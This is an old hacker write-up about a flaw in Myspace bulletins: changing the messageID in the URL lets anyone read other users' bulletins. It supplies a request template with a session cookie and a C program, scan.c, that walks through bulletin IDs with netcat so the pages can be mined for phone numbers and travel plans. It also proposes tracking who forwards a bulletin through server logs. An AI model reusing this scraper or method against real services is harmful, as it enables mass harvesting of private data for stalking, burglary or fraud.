Myspace Bulletins: The good, the bad, and the ugly Data Mining Myspace, a case study Author: stderr (stderr@pandora-security.com) http://stderr.linuxinit.net Original release: http://www.pandora-security.com ------------------------------------------------------ 1. Abstract We all know about myspace.com, and I'll go ahead and admit that I actually have an account to keep up with friends. Myspace is full of a bunch of idiots, but it can be a great tool for keeping up with people... when used properly. Myspace has long been a hacker playground, you may remember the infamous "Samy is my hero" "worm". The "worm" took advantage of several poor input validation techniques which were being employed. Each person that went to a page with his script in it, automatically sent him a friend request. After this alarming stunt, Myspace fixed a lot of the injection vulnerabilities. ------------------------------------------------------ 2. Introduction to Bulletins On Myspace, you can send "bulletins" which are sent to all of the friends on your list. That way if you're going on vacation or something, you can let ALL of your friends know what's happening by sending only one message. Most people assume that only their friends can read the bulletins they post... they are sadly mistaken. When you open up a bulletin, you go to a url like the following. http://bulletin.myspace.com/index.cfm?fuseaction=bulletin.read&messageID=111111111 Yes, you guessed it. If you change the messageID number, you can view any bulletin on Myspace that hasn't yet expired. Now, if we could just collect a ton of bulletins, then we could surely find some juicy information like cell phone numbers, when people are leaving for vacation, where they're going... the list goes on and on. The implementation of bulletins so that everyone can view them may be intentional, but most people assume that bulletins are only readable by friends. Because of this belief, many people post personal details in bulletins, never expecting people like you to read them. The mere existence of the "Delete from friends" button implies that only friends should be able to read your bulletins. ------------------------------------------------------ 3. Mining the data I was able to whip together a small C program that generates urls, retrieves the bulletin, and saves the html to a file. Once all of the data has been downloaded, it's easy to parse through using a tool like grep. In order for this program to work, you need to download a tool called 'netcat'. You will also need to get your cookie once you're logged into myspace, so that you can view the bulletins. First of all, let's create a new file named "request.txt" The contents should look something like this, but you'll need to change the cookie to match yours. ======================================================= Host: bulletin.myspace.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060414 Accept: application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html ;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: TIMEZONE=3; ODZDBXZG9tY#luPXXhaG#vJSRsZD1DXEWQSASLKJFLAJF;ODIJ;AEIJOIJDFOIAJEDKL124DADK ADS;IFJO;IEAJOIFEA89U;FIO;23A;OIJDSJAOIJOIEJWAIJLDOISJFOIJ39812H12O8JAW098320AJDSLKJ32AOJ12LIJ4 A;OIJ;S;OAIJMCOISJAO8JOIRA2J38U2398JIOAJDFKANKJCNLUIHA8W734HLAIL2L3ANUHDLUIAHF87Y3LAHAKDJHF8L83 5PVVTJmRhdGluZz0wJmRyaW5rZXI9MCZlZHVjYXRpb25pZD0x; NGUserID=a258ca5-2341-1231956342-6; MYSPACE=myspace; AUTOSONGPLAY=0; UNIQUELOGINTAKEOVER_10207218=%7Bts%20%272006-06-2df%047%3A32%x A18%27%7D; MSCOUNTRY=US; FRNDIDxr2g=55555555; rsi_want=0; COUNTRYCODE=MFMGCisGAQQBgjdYA7GgRTBDB gorBgEEAYI3WAMBoDUwMwIDAgABAgJmAwICAMAECHndruAVl3qwBBBgdJZ9K7N%2F34aRlhOz2UArBAi%2BqGfSVTRm7w%3 D%3D; MSCulture=IP=127.0.0.1&IPCulture=en-US&PreferredCulture=en-US&Country=US; MYUSERINFO=saoijaoi;joiewjaoijdosiajdklajfoijADFJIEAJKDJFIJIEAdlkjlijelaijalidjflijaslijldsijli AIDFJIAEwjfoiajdfeAIJDfAOJeagEOJeAJDalkjdadfAEJaijadlijfdilakmckj85423alkjdklafjdlkajdklajlkjea aDJFAILJJae'oifja;3o4ijmaidjalkfmaijkladfjalkjfioeajlkmdmc,jkjiojoia3wjiojfoiejaoija;odijflkjda ALOAJKEIOAJF3ea:LKfoaidjiajsioajlk3jaijdkfhfkjghncx,jlkjaweoijroiajoijadsljfdlksajfij32lja;dljf aDJFOA:#oKkdjflkaj;ijIOJilj;ioje;ioHiuhNKJhUGJJikhiugygGTYFTJHKHIUgyuhihiugI:HUgugyfTHDGfyjgfff 2FADFaEFeaDfagFhGHggFgadcAweadddafdasfeafgeaeageaijlkfjai;hj;JIOJlihluhkHUIHKhuilgliuHLIUHLHhhh h0DSAFOOJaewoi'jfa;ilj;oi:IOnjiehjioh;iH:IH;iohi;hg;juGYFyjfyjflukhaljdkfaejoijlajdlifjealijddd WIaOJFoa;ejklijdaFOJEaIjo:IJEAOIJEoajf:EOJAjdailjdf;ilaj;lijioj;oije;aojojaoijoiej;oaijo;ij;oij hNaoijao;ijdoifj;ckxx,jaiojeifajkjnaklhugi834829ijljadflkj3alijadlkjfaeljaclijeakjdoijgealijdcd Fsaijo;ij3;oaij;oijod;iasj;oijx90asjoij3alij;ioadjf;iojeo;iaj;oij;dkjfkdjlakjdlska; LASTUSERCLICK=%7bts+'2006-06-21+15%3a64%3a52'%1f; CAPTCHA=02236762-de4c-133a-a5e2-ff558427f513 ======================================================= Now that you have the request.txt file all setup, let's go ahead and compile the C program that will mine the data. scan.c ======================================================= /************************************************* * scan.c -- Myspace bulletin miner * * Author: stderr (stderr@pandora-security.com) * * Usage: ./scan 1164147677 1164147678 * * The ending ID should be greater than the * * starting ID, that or you could always * * reverse the loop in the body of the program. * * * * (Note) I'm sure this could be done a lot more * * elegantly, maybe even with perl or something * * But... this is just a proof of concept, so.. * * No hating :) * *************************************************/ #include #include #include void usage(char *name); int main(int argc, char *argv[]) { double id, s_id, e_id; char x, url[256]; FILE *in_file, *out_file; if (argc != 3) { usage(argv[0]); exit(1); } s_id = atoi(argv[1]); e_id = atoi(argv[2]); if (s_id >= e_id) { printf("The ending ID must be greater than the starting ID\n"); exit(1); } for (id = s_id; id < e_id; ++id) { in_file = fopen("request.txt","r"); out_file = fopen("new_request.txt","w"); fprintf(out_file,"GET /index.cfm?fuseaction=bulletin.read&messageID=%0.lf HTTP/1.1\n",id); while ((x=fgetc(in_file)) != EOF) fputc(x,out_file); fclose(in_file); fclose(out_file); printf("Downloading Bulletin #%0.lf ... %0.lf bulletins left.\r",id, e_id-id); sprintf(url,"nc -w2 bulletin.myspace.com 80 < new_request.txt > bulletin/%0.lf.html\n",id); system(url); } system("pause"); return 0; } void usage(char *name) { printf("%s \n",name); } ======================================================= Now compile the program, and run something like this... ./scan 4264287677 4264287777 (Note) Before running the program, you'll need to make a directory called "bulletin" so that the program will save the bulletins to their own directory. If you don't like that setup, then change the code. You should now have a bunch of bulletins downloaded, now just grep through the the "bulletin" directory for the data that you're looking for. ------------------------------------------------------ 4. More fun with Bulletins If you have a Myspace account, you've undoubtedly encountered a lot of spam bulletins. Another idea to play with bulletins is be to add an image in the bulletin, and start forwarding it around. The image that's pointed to should be on a server where you have access to the logs. Once people start circulating the bulletin, it's possible to see how many times it's been forwarded by looking at the referrer. To the best of my knowledge there's no way of getting the name of each person that reads the bulletin, but you will obviously have the name of each person that forwards the bulletin. ------------------------------------------------------ 5. Closing Statements Whether this is a "flaw" that is going to be closed remains to be seen. As always, just be careful with the information you're posting on the internet. You never know who's watching. Shouts: zipk0der, XPlicit, exvitel, Sonic, and Darcy